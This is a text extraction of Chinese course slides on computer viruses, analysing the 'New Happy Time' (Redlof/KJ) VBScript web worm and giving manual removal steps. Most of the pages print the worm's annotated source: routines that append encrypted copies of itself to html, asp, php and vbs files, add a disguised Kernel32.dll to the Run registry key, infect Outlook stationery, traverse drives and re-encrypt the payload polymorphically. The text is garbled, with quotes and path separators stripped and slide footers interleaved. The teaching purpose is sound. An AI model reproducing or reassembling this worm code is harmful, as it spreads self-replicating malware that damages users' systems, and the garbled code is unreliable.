计算机病毒与防治54欢乐时光病毒实例.pptx_第1页
计算机病毒与防治54欢乐时光病毒实例.pptx_第2页
计算机病毒与防治54欢乐时光病毒实例.pptx_第3页
计算机病毒与防治54欢乐时光病毒实例.pptx_第4页
计算机病毒与防治54欢乐时光病毒实例.pptx_第5页
已阅读5页,还剩29页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

1、计算机病毒与防治计算机病毒与防治课程小组5-4网页脚本病毒防治 欢乐时光病毒的特点及代码分析5-4典型网页病毒剖析计算机病毒与防治课程小组 欢乐时光病毒的手工清除新欢乐时光病毒特点病毒名称: 新欢乐时光病毒类型: 网页脚本病毒危险级别: 影响系统: Win 9X/ME/NT/2000英文名包括有:HTML.Redlof.A Symantec, VBS.Redlof AVP, VBS_REDLOF.A Trend, VBS/Redlof-A Sophos, VBS.KJ 金山, Script.RedLof 瑞星, VBS/KJ 江民计算机病毒与防治课程小组新欢乐时光病毒特点新欢乐时光病毒特点新欢

2、乐时光病毒是一个多变形、加密病毒,感染扩展名为.html, .htm, .asp, .php, .jsp, .htt和.vbs文件,同时该病毒会大量生成folder.htt和desktop.ini,并在%windir%System中生成一个名字叫Kernel.dll(Windows 9x/Me)或kernel32.dll(Windows NT/2000)的文件,修改.dll文件的打开方式,感染Outlook的信纸文件。感染这个病毒后有两个明显的特征:a.在每个目录中都会生成folder.htt(带毒文件)和desktop.ini(目录配置文件);b.电脑运行速度明显变慢,在任务列表中可以看到有

3、大量的Wscript.exe程序在运行。计算机病毒与防治课程小组新欢乐时光病毒特点新欢乐时光病毒这个网页病毒利用微软IE的漏洞,通过感染一些.html, .htm, .asp, .php, .jsp, .htt和.vbs等文件进行传播。然而由于病毒的本身特性,其传播的途径也有多种:a.通过网页传播。由于病毒会感染网页文件,如果那些网站站长不小心将带毒的网页放到网站上,用户不小心浏览了这些网页就会被病毒感染了;b.通过局域网。当本地计算机设有可写权限的共享目录,或者访问局域网上带毒的计算机的时候就会感染病毒;对于Windows NT/2000系统,由于存在默认的管理用共享目录,因此,管理员的疏忽

4、也可能会造成感染。c.通过电子邮件。如果发件人使用了带毒的网页文件作为信纸,或者信件中有带毒的网页文件,那么,只要收件人浏览了邮件,也会被感染病毒;d.通过移动介质,如软盘、移动硬盘、光盘等。由于病毒会生成folder.htt和desktop.ini,所以在打开移动介质或打开其文件夹的时候,就会激活并感染病毒。 计算机病毒与防治课程小组新欢乐时光代码分析Dim InWhere,HtmlText,VbsText,DegreeSign,AppleObject,FSO,WsShell,WinPath,SubE,FinalyDisk Sub KJ_start() 初始化变量 KJSetDim() 初始

5、化环境 KJCreateMilieu() 感染本地或者共享上与html所在目录 KJLikeIt() 通过vbs感染Outlook邮件模板 KJCreateMail() 进行病毒传播 KJPropagate()End Sub 计算机病毒与防治课程小组新欢乐时光病毒主运行程序代码新欢乐时光代码分析Function KJAppendTo(FilePath,TypeStr) On Error Resume Next 以只读方式打开指定文件 Set ReadTemp = FSO.OpenTextFile(FilePath,1) 将文件内容读入到TmpStr变量中 TmpStr = ReadTemp.R

6、eadAll 判断文件中是否存在“KJ_start()”字符串,若存在说明已经感染,退出函数;若文件长度小于1,也退出函数。 If Instr(TmpStr,KJ_start() 0 Or Len(TmpStr) 1 Then ReadTemp.Close Exit Function End If 如果传过来的类型是“htt“ , 在文件头加上调用页面的时候加载KJ_start()函数; 在文件尾追加html版本的加密病毒体。如果是”html” : 在文件尾追加调用页面的时候加载KJ_start()函数和html版本的病毒体; 如果是vbs : 在文件尾追加vbs版本的病毒体 If TypeS

7、tr = htt Then ReadTemp.Close Set FileTemp = FSO.OpenTextFile(FilePath,2) FileTemp.Write & vbCrLf & TmpStr & vbCrLf & HtmlText 函数功能:向指定类型的指定文件追加病毒计算机病毒与防治课程小组FileTemp.Close Set FAttrib = FSO.GetFile(FilePath) FAttrib.attributes = 34 Else ReadTemp.Close Set FileTemp = FSO.OpenTextFile(FilePath,8)If Ty

8、peStr = html Then FileTemp.Write vbCrLf & & vbCrLf & & vbCrLf & HtmlText ElseIf TypeStr = vbs Then FileTemp.Write vbCrLf & VbsText End If FileTemp.Close End If End Function 新欢乐时光代码分析计算机病毒与防治课程小组新欢乐时光代码分析计算机病毒与防治课程小组函数功能:改变子目录以及盘符Function KJChangeSub(CurrentString,LastIndexChar) 判断是否是根目录 If LastIndex

9、Char = 0 Then 如果是根目录 :如果是C:,返回FinalyDisk盘,并将SubE置为0 如果不是C:,返回将当前盘符递减1,并将SubE置为0 If Left(LCase(CurrentString),1) = LCase(c) Then KJChangeSub = FinalyDisk & : SubE = 0 Else KJChangeSub = Chr(Asc(Left(LCase(CurrentString),1) - 1) & : SubE = 0 End If Else 如果不是根目录,则返回上一级目录名称 KJChangeSub = Mid(CurrentStri

10、ng,1,LastIndexChar)End If End Function 新欢乐时光代码分析计算机病毒与防治课程小组Function KJCreateMail() On Error Resume Next 如果当前执行文件是html的,就退出函数 If InWhere = html Then Exit Function End If 取系统盘的空白页的路径ShareFile = Left(WinPath,3) & Program FilesCommon FilesMicrosoft SharedStationeryblank.htm 如果存在这个文件,就向其追加病毒体 ,否则生成含有病毒体

11、的文件 If (FSO.FileExists(ShareFile) Then Call KJAppendTo(ShareFile,html) Else Set FileTemp = FSO.OpenTextFile(ShareFile,2,true) FileTemp.Write & vbCrLf & & vbCrLf & HtmlText FileTemp.Close End If 功能:感染邮件部分 新欢乐时光代码分析计算机病毒与防治课程小组 取得当前用户的ID和OutLook的版本 DefaultId = WsShell.RegRead(HKEY_CURRENT_USERIdentiti

12、esDefault User ID) OutLookVersion = WsShell.RegRead(HKEY_LOCAL_MACHINESoftwareMicrosoftOutlook ExpressMediaVer) 激活信纸功能,并感染所有信纸 WsShell.RegWrite HKEY_CURRENT_USERIdentities&DefaultId&SoftwareMicrosoftOutlook Express& Left(OutLookVersion,1) &.0MailCompose Use Stationery,1,REG_DWORD Call KJMailReg(HKEY

13、_CURRENT_USERIdentities&DefaultId&SoftwareMicrosoftOutlook Express& Left(OutLookVersion,1) &.0MailStationery Name,ShareFile) Call KJMailReg(HKEY_CURRENT_USERIdentities&DefaultId&SoftwareMicrosoftOutlook Express& Left(OutLookVersion,1) &.0MailWide Stationery Name,ShareFile) 新欢乐时光代码分析计算机病毒与防治课程小组WsShe

14、ll.RegWrite HKEY_CURRENT_USERSoftwareMicrosoftOffice9.0OutlookOptionsMailEditorPreference,131072,REG_DWORD Call KJMailReg(HKEY_CURRENT_USERSoftwareMicrosoftWindows Messaging SubsystemProfilesMicrosoft Outlook Internet Settings0a0d020000000000c000000000000046001e0360,blank)Call KJMailReg(HKEY_CURRENT

15、_USERSoftwareMicrosoftWindows NTCurrentVersionWindows Messaging SubsystemProfilesMicrosoft Outlook Internet Settings0a0d020000000000c000000000000046001e0360,blank) WsShell.RegWrite HKEY_CURRENT_USERSoftwareMicrosoftOffice10.0OutlookOptionsMailEditorPreference,131072,REG_DWORD Call KJMailReg(HKEY_CUR

16、RENT_USERSoftwareMicrosoftOffice10.0CommonMailSettingsNewStationery,blank)KJummageFolder(Left(WinPath,3) & Program FilesCommon FilesMicrosoft SharedStationery) End Function 新欢乐时光代码分析计算机病毒与防治课程小组Function KJCreateMilieu()On Error Resume Next TempPath = 判断操作系统是NT/2000还是9X If Not(FSO.FileExists(WinPath

17、& WScript.exe) Then TempPath = system32 End If 为了文件名起到迷惑性,并且不会与系统文件冲突。 如果是NT/2000则启动文件为systemKernel32.dll ,如果是9x启动文件则为systemKernel.dll If TempPath = system32 Then StartUpFile = WinPath & SYSTEMKernel32.dll Else StartUpFile = WinPath & SYSTEMKernel.dll End If 添加Run值,添加刚才生成的启动文件路径 WsShell.RegWrite HKE

18、Y_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunKernel32,StartUpFile 功能:创建系统环境 新欢乐时光代码分析计算机病毒与防治课程小组 拷贝前期备份的文件到原来的目录 FSO.CopyFile WinPath & webkjwall.gif,WinPath & webFolder.htt FSO.CopyFile WinPath & system32kjwall.gif,WinPath & system32desktop.ini 向%windir%webFolder.htt追加病毒体 Call KJAppendT

19、o(WinPath & webFolder.htt,htt) 改变dll的MIME头 ,改变dll的默认图标 ,改变dll的打开方式WsShell.RegWrite HKEY_CLASSES_ROOT.dll,dllfile WsShell.RegWrite HKEY_CLASSES_ROOT.dllContent Type,application/x-msdownload WsShell.RegWrite HKEY_CLASSES_ROOTdllfileDefaultIcon,WsShell.RegRead(HKEY_CLASSES_ROOTvxdfileDefaultIcon) WsShe

20、ll.RegWrite HKEY_CLASSES_ROOTdllfileScriptEngine,VBScript WsShell.RegWrite HKEY_CLASSES_ROOTdllFileShellOpenCommand,WinPath & TempPath & WScript.exe %1 %* 新欢乐时光代码分析计算机病毒与防治课程小组WsShell.RegWrite HKEY_CLASSES_ROOTdllFileShellExPropertySheetHandlersWSHProps,60254CA5-953B-11CF-8C96-00AA00B8708C WsShell.R

21、egWrite HKEY_CLASSES_ROOTdllFileScriptHostEncode,85131631-480C-11D2-B1F9-00C04F86C324 启动时加载的病毒文件中写入病毒体 Set FileTemp = FSO.OpenTextFile(StartUpFile,2,true) FileTemp.Write VbsText FileTemp.Close End Function 新欢乐时光代码分析计算机病毒与防治课程小组功能:针对html文件进行处理,如果访问的是本地的或者共享上的文件,感染目录 Function KJLikeIt() 如果当前执行文件不是html

22、的就退出程序 If InWhere html Then Exit Function End If ThisLocation = document.location 取得文档当前路径 If Left(ThisLocation, 4) = “file” Then 如果是本地或网上共享文件 ThisLocation = Mid(ThisLocation,9) 如果这个文件扩展名不为空,在ThisLocation中保存它的路径 If FSO.GetExtensionName(ThisLocation) then ThisLocation = Left(ThisLocation,Len(ThisLoca

23、tion) - Len(FSO.GetFileName(ThisLocation) End If If Len(ThisLocation) 3 Then 如果ThisLocation的长度大于3就尾追一个 ThisLocation = ThisLocation & End If KJummageFolder(ThisLocation) 感染这个目录 End If End Function 新欢乐时光代码分析计算机病毒与防治课程小组功能:如果注册表指定键值不存在,则向指定位置写入指定文件名Function KJMailReg(RegStr,FileName) On Error Resume Ne

24、xt 如果注册表指定键值不存在,则向指定位置写入指定文件名 RegTempStr = WsShell.RegRead(RegStr) If RegTempStr = Then WsShell.RegWrite RegStr,FileName End If End Function 新欢乐时光代码分析计算机病毒与防治课程小组功能:遍历并返回目录路径Function KJOboSub(CurrentString) SubE = 0 TestOut = 0 Do While True TestOut = TestOut + 1 If TestOut 28 Then CurrentString = F

25、inalyDisk & : Exit Do End If On Error Resume Next 取得当前目录的所有子目录,并且放到字典中 Set ThisFolder = FSO.GetFolder(CurrentString) Set DicSub = CreateObject(Scripting.Dictionary) Set Folders = ThisFolder.SubFolders FolderCount = 0For Each TempFolder in Folders FolderCount = FolderCount + 1 DicSub.add FolderCount,

26、 TempFolder.Name Next 新欢乐时光代码分析计算机病毒与防治课程小组 如果没有子目录了,就调用KJChangeSub返回上一级目录或者更换盘符,并将SubE置1 If DicSub.Count = 0 Then LastIndexChar = InstrRev(CurrentString,Len(CurrentString)-1)SubString = Mid(CurrentString,LastIndexChar+1,Len(CurrentString)-LastIndexChar-1) CurrentString = KJChangeSub(CurrentString,L

27、astIndexChar)SubE = 1 Else 如果存在子目录 如果SubE为0,则将CurrentString变为它的第1个子目录If SubE = 0 Then CurrentString = CurrentString & DicSub.Item(1) & Exit Do Else 如果SubE为1,继续遍历子目录,并将下一个子目录返回 j = 0 新欢乐时光代码分析计算机病毒与防治课程小组For j = 1 To FolderCount If LCase(SubString) = LCase(DicSub.Item(j) Then If j FolderCount Then Cu

28、rrentString = CurrentString & DicSub.Item(j+1) & Exit DoEnd If End IfNext LastIndexChar = InstrRev(CurrentString,Len(CurrentString)-1)SubString = Mid(CurrentString,LastIndexChar+1,Len(CurrentString)-LastIndexChar-1) CurrentString = KJChangeSub(CurrentString,LastIndexChar) End If End If Loop KJOboSub

29、 = CurrentString End Function 新欢乐时光代码分析计算机病毒与防治课程小组功能:病毒传播Function KJPropagate()On Error Resume NextRegPathvalue = HKEY_LOCAL_MACHINESoftwareMicrosoftOutlook ExpressDegree DiskDegree = WsShell.RegRead(RegPathvalue) 如果不存在Degree这个键值,DiskDegree则为FinalyDisk盘 If DiskDegree = Then DiskDegree = FinalyDisk

30、& : End If 继DiskDegree置后感染5个目录 For i=1 to 5 DiskDegree = KJOboSub(DiskDegree) KJummageFolder(DiskDegree) Next 将感染记录保存在HKEY_LOCAL_MACHINESoftwareMicrosoftOutlook ExpressDegree键值中 WsShell.RegWrite RegPathvalue,DiskDegree End Function 新欢乐时光代码分析计算机病毒与防治课程小组功能:感染指定目录Function KJummageFolder(PathName) On E

31、rror Resume Next 取得目录中的所有文件集 Set FolderName = FSO.GetFolder(PathName) Set ThisFiles = FolderName.Files HttExists = 0 For Each ThisFile In ThisFiles FileExt = UCase(FSO.GetExtensionName(ThisFile.Path) 判断扩展名 若是HTM,HTML,ASP,PHP,JSP则向文件中追加HTML版的病毒体 若是VBS则向文件中追加VBS版的病毒体 若是HTT,则标志为已经存在HTT了 If FileExt = HT

32、M Or FileExt = HTML Or FileExt = ASP Or FileExt = PHP Or FileExt = JSP Then Call KJAppendTo(ThisFile.Path,html) ElseIf FileExt = VBS ThenCall KJAppendTo(ThisFile.Path,vbs)ElseIf FileExt = HTT Then HttExists = 1 End IfNext 新欢乐时光代码分析计算机病毒与防治课程小组 如果所给的路径是桌面,则标志为已经存在HTT了 If (UCase(PathName) = UCase(WinP

33、ath & Desktop) Or (UCase(PathName) = UCase(WinPath & Desktop)Then HttExists = 1 End If 如果不存在HTT 向目录中追加病毒体 If HttExists = 0 Then FSO.CopyFile WinPath & system32desktop.ini,PathName FSO.CopyFile WinPath & webFolder.htt,PathName End If End Function 新欢乐时光代码分析计算机病毒与防治课程小组功能:定义FSO,WsShell对象,取得最后一个可用磁盘卷标,生

34、成传染用的加密字串 备份系统中的webfolder.htt和system32desktop.ini Function KJSetDim() On Error Resume Next Err.Clear 测试当前执行文件是html还是vbs TestIt = WScript.ScriptFullname If Err Then InWhere = html Else InWhere = vbs End If 创建文件访问对象和Shell对象If InWhere = vbs Then Set FSO = CreateObject(Scripting.FileSystemObject) Set Ws

35、Shell = CreateObject(WScript.Shell) Else 新欢乐时光代码分析计算机病毒与防治课程小组Set AppleObject = document.applets(KJ_guest) AppleObject.setCLSID(F935DC22-1CF0-11D0-ADB9-00C04FD58A0B) AppleObject.createInstance() Set WsShell = AppleObject.GetObject() AppleObject.setCLSID(0D43FE01-F093-11CF-8940-00A0C9054228) AppleObj

36、ect.createInstance() Set FSO = AppleObject.GetObject() End If Set DiskObject = FSO.Drives 判断磁盘类型 0: Unknown,1: Removable,2: Fixed,3: Network,4: CD-ROM,5: RAM Disk 如果不是可移动磁盘或者固定磁盘就跳出循环。可能作者考虑的是网络磁盘、CD-ROM、RAM Disk都是在比较靠后的位置。呵呵,如果C:是RAMDISK会怎么样? For Each DiskTemp In DiskObjectIf DiskTemp.DriveType 2 A

37、nd DiskTemp.DriveType 1 Then Exit For End IfFinalyDisk = DiskTemp.DriveLetter Next 新欢乐时光代码分析计算机病毒与防治课程小组 此前的这段病毒体已经解密,并且存放在ThisText中,现在为了传播,需要对它进行再加密。Dim OtherArr(3)Randomize 随机生成4个算子 For i=0 To 3 OtherArr(i) = Int(9 * Rnd) Next TempString = For i=1 To Len(ThisText)TempNum = Asc(Mid(ThisText,i,1)If

38、TempNum = 13 Then 对回车、换行(0 x0D,0 x0A)做特别的处理TempNum = 28 ElseIf TempNum = 10 ThenTempNum = 29End If 很简单的加密处理,每个字符减去相应的算子,那么在解密的时候只要按照这个顺序每个字符加上相应的算子就可以了。新欢乐时光代码分析计算机病毒与防治课程小组TempChar = Chr(TempNum - OtherArr(i Mod 4)If TempChar = Chr(34) ThenTempChar = Chr(18)End IfTempString = TempString & TempChar

39、Next 含有解密算法的字串 UnLockStr = Execute(Dim KeyArr(3),ThisText&vbCrLf&KeyArr(0) = & OtherArr(0) & &vbCrLf&KeyArr(1) = & OtherArr(1) & &vbCrLf&KeyArr(2) = & OtherArr(2) & &vbCrLf&KeyArr(3) = & OtherArr(3) & &vbCrLf&For i=1 To Len(ExeString)&vbCrLf&TempNum = Asc(Mid(ExeString,i,1)&vbCrLf&If TempNum = 18 Th

40、en&vbCrLf&TempNum = 34&vbCrLf&End If&vbCrLf&TempChar = Chr(TempNum + KeyArr(i Mod 4)&vbCrLf&If TempChar = Chr(28) Then&vbCrLf&TempChar = vbCr&vbCrLf&ElseIf TempChar = Chr(29) Then&vbCrLf&TempChar = vbLf&vbCrLf&End If&vbCrLf&ThisText = ThisText & TempChar&vbCrLf&Next) & vbCrLf & Execute(ThisText)新欢乐时

41、光代码分析计算机病毒与防治课程小组 将加密好的病毒体复制给变量 ThisText ThisText = ExeString = & TempString & 生成html感染用的脚本 HtmlText = & vbCrLf & document.write & & & & & & vbCrLf & & vbCrLf & & vbCrLf & ThisText & vbCrLf & UnLockStr & vbCrLf & & vbCrLf & & vbCrLf & 生成vbs感染用的脚本VbsText = ThisText & vbCrLf & UnLockStr & vbCrLf & KJ_

42、start() 取得Windows目录:GetSpecialFolder(n),0: WindowsFolder ,1: SystemFolder,2: TemporaryFolder 新欢乐时光代码分析计算机病毒与防治课程小组 如果系统目录存在webFolder.htt和system32desktop.ini,则用kjwall.gif文件名备份它们。 WinPath = FSO.GetSpecialFolder(0) & If (FSO.FileExists(WinPath & webFolder.htt) Then FSO.CopyFile WinPath & webFolder.htt,

43、WinPath & webkjwall.gif End If If (FSO.FileExists(WinPath & system32desktop.ini) Then FSO.CopyFile WinPath & system32desktop.ini,WinPath & system32kjwall.gif End If End Function 新欢乐时光行为分析中毒现象截图新欢乐时光手工清除当计算机感染了“欢乐时光”病毒后建议在安全模式或纯DOS中清除。因为该病毒在安全模式下不会被激活,所以可以放心地在安全模式下杀毒;在正常模式中清除需要对Windows系统有非常深入地了解,一般用户是很难干

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论